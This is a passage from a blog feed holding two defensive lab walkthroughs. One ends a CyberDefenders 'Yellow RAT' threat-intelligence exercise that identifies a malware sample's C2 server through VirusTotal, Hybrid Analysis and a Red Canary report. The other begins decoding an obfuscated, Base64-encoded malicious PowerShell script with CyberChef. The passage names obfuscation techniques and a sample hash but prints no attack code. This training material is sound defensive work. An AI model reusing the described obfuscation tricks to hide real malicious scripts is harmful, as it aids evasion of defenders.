data-flex-grow=&#34;189&#34; height=&#34;423&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/245860463ededb8939ac3780bab5d769_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Leveraging the report from Red Canary to identify the .dat file&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;758px&#34; data-flex-grow=&#34;316&#34; height=&#34;253&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/3a2e5c27f6ac6ed4380fcff7ac5b43ef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-it-is-crucial-to-identify-the-c2-servers-with-which-the-malware-communicates-to-block-its-communication-and-prevent-further-data-exfiltration-what-is-the-c2-server-that-the-malware-is-communicating-with&#34;&gt;Question 6: It is crucial to identify the C2 servers with which the malware communicates to block its communication and prevent further data exfiltration. What is the C2 server that the malware is communicating with?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question! Our last objective is to identify the command and control (C2) server the malware communicates with. To tie this all together, we&amp;rsquo;ll check all the previous threat intelligence sources for this information, starting with the Red Canary report.&lt;/p&gt;&#xA;&lt;p&gt;From the report, in the same section where we located the name of the .dat file for the previous question, we can see that point #3 contains the observed C2 URL used by the sample. That&amp;rsquo;s a good start, but let&amp;rsquo;s check another source.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;453px&#34; data-flex-grow=&#34;189&#34; height=&#34;423&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/80c243dd2305a7d8ced94d5c33bc5e3e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Leveraging the report from Red Canary to identify the C2 server&lt;/p&gt;&#xA;&lt;p&gt;Referring back to VirusTotal, navigate to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Behavior&amp;rdquo;&#xA;tab and scroll to the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Network Communication&amp;quot;&#xA;section. Here, we&amp;rsquo;ll find the same URL that we discovered in the Red Canary report as a &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Memory Pattern Domain/URL&amp;quot;&#xA;indicating a string discovered in the malware sample.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;426px&#34; data-flex-grow=&#34;177&#34; height=&#34;450&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/71677cb72c059d8bf51695e6a645b560_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Identifying the C2 server&lt;/p&gt;&#xA;&lt;p&gt;We can take this one step further by checking the URL against VirusTotal to determine the reputation of this domain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;425px&#34; data-flex-grow=&#34;177&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/541033a042b474b5857203099a48acf9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal: Detection of C2 URL&lt;/p&gt;&#xA;&lt;p&gt;Finally, let&amp;rsquo;s navigate back to the Hybrid Analysis report we used back in &lt;strong&gt;Question 1&lt;/strong&gt; and locate the &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Suspicious Indicators&amp;quot;&#xA;section and locate the &lt;strong&gt;External Systems&lt;/strong&gt; section. Here we&amp;rsquo;ll confirm the C2 URL along with the reputation detection of the domain, confirming our findings.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;452px&#34; data-flex-grow=&#34;188&#34; height=&#34;424&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/ff044a7c05d67b9e90e8cef431148fc3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hybrid Analysis: Locating the C2 URL&lt;/p&gt;&#xA;&lt;p&gt;With this triple-confirmation, let&amp;rsquo;s submit the answer and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;768px&#34; data-flex-grow=&#34;320&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/2c43c642fb39805a50d468f3e61aa2f2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! Starting with the file hash of the sample, we were able to search for detailed information about the malware on VirusTotal and Hybrid Analysis. These platforms provided comprehensive reports on the malware&amp;rsquo;s behavior, allowing us to understand when it was compiled and seen in the wild, what file it drops, and its C2 infrastructure. The reports also contained links to valuable malware research, like the blog from Red Canary, that we used to tie the investigation together.&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve scoped the attack and completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Yellow RAT Lab&lt;/strong&gt;&lt;/a&gt;!&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, for another exciting and realistic lab scenario. I always keep threat intelligence challenges in the rotation. Experience with tools like VirusTotal and Hybrid Analysis is a fundamental in this field. Hands-on practice with these tools and understanding what you can learn from the reports is especially beneficial when time is of the essence during incident response or when defending against a specific threat actor. Although I don&amp;rsquo;t often have the opportunity to review research done by Red Canary, every time I encounter their work, I&amp;rsquo;m really impressed with the analysis — I&amp;rsquo;ll definitely keep them bookmarked!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-yellow-rat-lab-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/yellow-rat/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Analysis:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Analysis (Sample):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/sample/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/5fd004f2f760b679ae373bb3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/sample/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/5fd004f2f760b679ae373bb3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal (Sample):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/community&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/30e527e45f50d2ba82865c5679a6fa998ee0a1755361ab01673950810d071c85/community&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;**Red Canary Threat Intelligence — &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Yellow Cockatoo: Search engine redirects, in-memory remote access trojan, and more&amp;quot;&#xA;:** &lt;a class=&#34;link&#34; href=&#34;https://redcanary.com/blog/yellow-cockatoo/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://redcanary.com/blog/yellow-cockatoo/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  —  Malicious PowerShell Analysis Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/</link>
            <pubDate>Sun, 06 Apr 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/920afeb5d1988bb18dea8ff336e17033_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  —  Malicious PowerShell Analysis Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-onlinemalicious-powershell-analysis-walkthrough&#34;&gt;Blue Team Labs Online — Malicious PowerShell Analysis Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-incident-response-challenge-using-cyberchef-andurlhaus&#34;&gt;An incident response challenge using CyberChef and URLhaus.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;920afeb5d1988bb18dea8ff336e17033_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;562&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/920afeb5d1988bb18dea8ff336e17033_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you’ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/malicious-powershell-analysis-bf6b52faef&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Malicious PowerShell Analysis&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt;, you’re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, an employee opened a phishing email and executed malware on their system, causing a business-wide disruption. As part of the incident response team, we’re provided an encoded &lt;strong&gt;PowerShell&lt;/strong&gt; script and our mission is to analyze the contents of this script and identify the malware it contains.&lt;/p&gt;&#xA;&lt;p&gt;To perform our investigation, we’ll hop into the kitchen with &lt;strong&gt;CyberChef&lt;/strong&gt;, a popular tool to perform data decoding and analysis, to examine the PowerShell script. Throughout the investigation, we’ll map the adversary’s techniques and software to &lt;strong&gt;MITRE ATT&amp;amp;CK,&lt;/strong&gt; a global knowledge base of adversary tactics and techniques, to gain a comprehensive understanding of the attack. Finally, we’ll leverage an external cyber threat intelligence service to uncover more details about the malware. Sounds like a good time to me — let’s get into it!&lt;/p&gt;&#xA;&lt;p&gt;If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;Recently the networks of a large company named GothamLegend were compromised after an employee opened a phishing email containing malware. The damage caused was critical and resulted in business-wide disruption. GothamLegend had to reach out to a third-party incident response team to assist with the investigation. You are a member of the IR team — all you have is an encoded Powershell script. Can you decode it and identify what malware is responsible for this attack?&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first! When working with lab/challenge files from &lt;em&gt;Blue Team Labs Online (or any educational lab/challenge/range),&lt;/em&gt; it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;REMnux&lt;/strong&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a specialized &lt;em&gt;Linux&lt;/em&gt; distribution for malware analysis.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused, I’m going to skip step-by-step setup directions of &lt;strong&gt;REMnux&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; but if you’d like to set up your own environment, please follow the guide provided by &lt;strong&gt;REMnux&lt;/strong&gt; directly. For reference, I used the virtual appliance method:&lt;/p&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3&#34;&gt;[&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3-1&#34;&gt;&amp;ndash; &amp;ldquo;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;h2 id=&#34;d2311959d5f3-2&#34;&gt;&amp;ndash;&amp;rdquo;)[](&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page---&lt;/a&gt;&#xA;&amp;ndash;d2311959d5f3&amp;mdash;&#xA;&lt;/h2&gt;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;hr&gt;&#xA;&lt;p&gt;&amp;ndash;)&lt;/p&gt;&#xA;&lt;p&gt;Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-security-protocol-is-being-used-for-the-communication-with-a-malicious-domain&#34;&gt;Question 1: What security protocol is being used for the communication with a malicious domain?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s dive right in and extract the challenge file where we’ll find our sample, &lt;code&gt;ps_script.txt&lt;/code&gt;. We can open this file with any text editor, but for this walkthrough, I’ll be using &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Notepad++&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8f2c6b60e0ce50c7eebeeb257acaf672_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;631px&#34; data-flex-grow=&#34;263&#34; height=&#34;304&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/8f2c6b60e0ce50c7eebeeb257acaf672_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Encoded PowerShell Command&lt;/p&gt;&#xA;&lt;p&gt;Inside the file, the contents contain a block of &lt;strong&gt;Base64&lt;/strong&gt; encoded code indicated by the &lt;code&gt;-ENCOD&lt;/code&gt; argument, which allows encoded commands to be passed and executed. This is a common defense evasion (&lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1027/010/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;T10027.010&lt;/strong&gt;&lt;/a&gt;) method used by attackers to obfuscate their code.&lt;/p&gt;&#xA;&lt;p&gt;Our first task is to decode this script to determine the goals of the attacker. We can accomplish this by leveraging &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberChef&lt;/strong&gt;&lt;/a&gt; to help us deobfuscate the script using the following steps:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open CyberChef — this is built into REMnux, but the web-based version works too.&lt;/li&gt;&#xA;&lt;li&gt;Paste the encoded command into CyberChef’s “Input” window.&lt;/li&gt;&#xA;&lt;li&gt;Apply the “&lt;strong&gt;From Base64”&lt;/strong&gt; operation to the recipe.&lt;/li&gt;&#xA;&lt;li&gt;Add the “&lt;strong&gt;Remove null bytes”&lt;/strong&gt; operation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;62eda1ab4607762dbd2d8a02dda1e7bc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;424px&#34; data-flex-grow=&#34;176&#34; height=&#34;452&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/62eda1ab4607762dbd2d8a02dda1e7bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Applying the From Base64 Operation&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;812c9e055c036733aa82a01bbf2abbdc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;423px&#34; data-flex-grow=&#34;176&#34; height=&#34;453&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/812c9e055c036733aa82a01bbf2abbdc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Applying the Remove Null Bytes Operation&lt;/p&gt;&#xA;&lt;p&gt;We’re getting closer and we can identify some readable strings, but there is still some additional obfuscation to deal with. Going through the first couple of lines, we can identify several junk characters separating clear text words within the script.&lt;/p&gt;&#xA;&lt;p&gt;To remove these characters:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add the “&lt;strong&gt;Find/Replace&lt;/strong&gt;” operation to the recipe.&lt;/li&gt;&#xA;&lt;li&gt;Enter the &lt;strong&gt;regex&lt;/strong&gt; &lt;code&gt;[,&#39;()+\&amp;quot;]&lt;/code&gt; to define the individual characters within the brackets we want to match. Feel free to add others if you spot them.&lt;/li&gt;&#xA;&lt;li&gt;Leave the “Replace” field empty to replace the characters defined in the regex with blank characters.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4c6bdd0b8b28b7ff06f21e48da2fc8e8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;425px&#34; data-flex-grow=&#34;177&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/4c6bdd0b8b28b7ff06f21e48da2fc8e8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We’re getting even closer to making the script human-readable but notice that the URL strings begin with &lt;code&gt;]anw[3&lt;/code&gt; instead of something more familiar like &lt;code&gt;http&lt;/code&gt;. Let’s add another “Find/Replace” operation, this time using the “Simple String” matching and replacing &lt;code&gt;]anw[3&lt;/code&gt; with &lt;code&gt;http&lt;/code&gt; to read the URLs more clearly.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bfac8b78288fc338fe3d4a82e90a5d4c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;425px&#34; data-flex-grow=&#34;177&#34; height=&#34;451&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/bfac8b78288fc338fe3d4a82e90a5d4c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Applying a second Find/Replace Operation&lt;/p&gt;&#xA;&lt;p&gt;After this change, the script is much more readable, but let’s take this one step further and split the script into individual lines. We can accomplish this by adding one final operation to the recipe — “&lt;strong&gt;Split.&lt;/strong&gt;” Once added to the recipe, set the split delimiter on the &lt;code&gt;;&lt;/code&gt; character to separate the commands into individual lines.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;6df4c7aea8e65d981a3d9bb21cce6437_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;424px&#34; data-flex-grow=&#34;176&#34; height=&#34;452&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/6df4c7aea8e65d981a3d9bb21cce6437_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Applying the Split Operation&lt;/p&gt;&#xA;&lt;p&gt;Finally, we have a much more readable version of the script which we can use to perform our analysis.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 1,&lt;/strong&gt; we need to identify the “security protocol” being used for communication with the malicious domain. We can locate this information in the script by finding the line referencing “security protocol,” where it shows a value of &lt;code&gt;TLS12&lt;/code&gt; or Transport Layer Security version 1.2.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;87d8dfd58297608b439071968216ee6d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;422px&#34; data-flex-grow=&#34;176&#34; height=&#34;454&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/87d8dfd58297608b439071968216ee6d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the Security Protocol in the script&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bcf727a8c7a4a1eb67af756926a10e9c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1684px&#34; data-flex-grow=&#34;701&#34; height=&#34;114&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/bcf727a8c7a4a1eb67af756926a10e9c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-directory-does-the-obfuscated-powershell-create-starting-fromhome&#34;&gt;Question 2: What directory does the obfuscated PowerShell create? (Starting from \HOME)&#xA;&lt;/h3&gt;&lt;p&gt;Next, we’ll need to identify what directory the script creates. Since this is an obfuscated script, it’s not as straightforward as answering &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To find the first clue, let’s read through the script contents until we stumble across the highlighted variable &lt;code&gt;cREAtedIRECTORy$HOME&lt;/code&gt;. This seems like a good place to start searching since there is a reference to the &lt;code&gt;CreateDirectory&lt;/code&gt; method, and there are some obfuscated characters next to this string which might contain the file path.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3e6de529061c4fa41eebdd70611a4982_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;424px&#34; data-flex-grow=&#34;176&#34; height=&#34;452&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-malicious-powershell-analysis-walkthrough/3e6de529061c4fa41eebdd70611a4982_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the CreateDirectory method.&lt;/p&gt;&#xA;&lt;p&gt;Let’s scroll further down for more clues where we’ll find a second reference to &lt;code&gt;$HOME&lt;/code&gt;. The trick is that the string doesn’t look how we would expect a directory path to appear, so we’ll need to apply another operation to 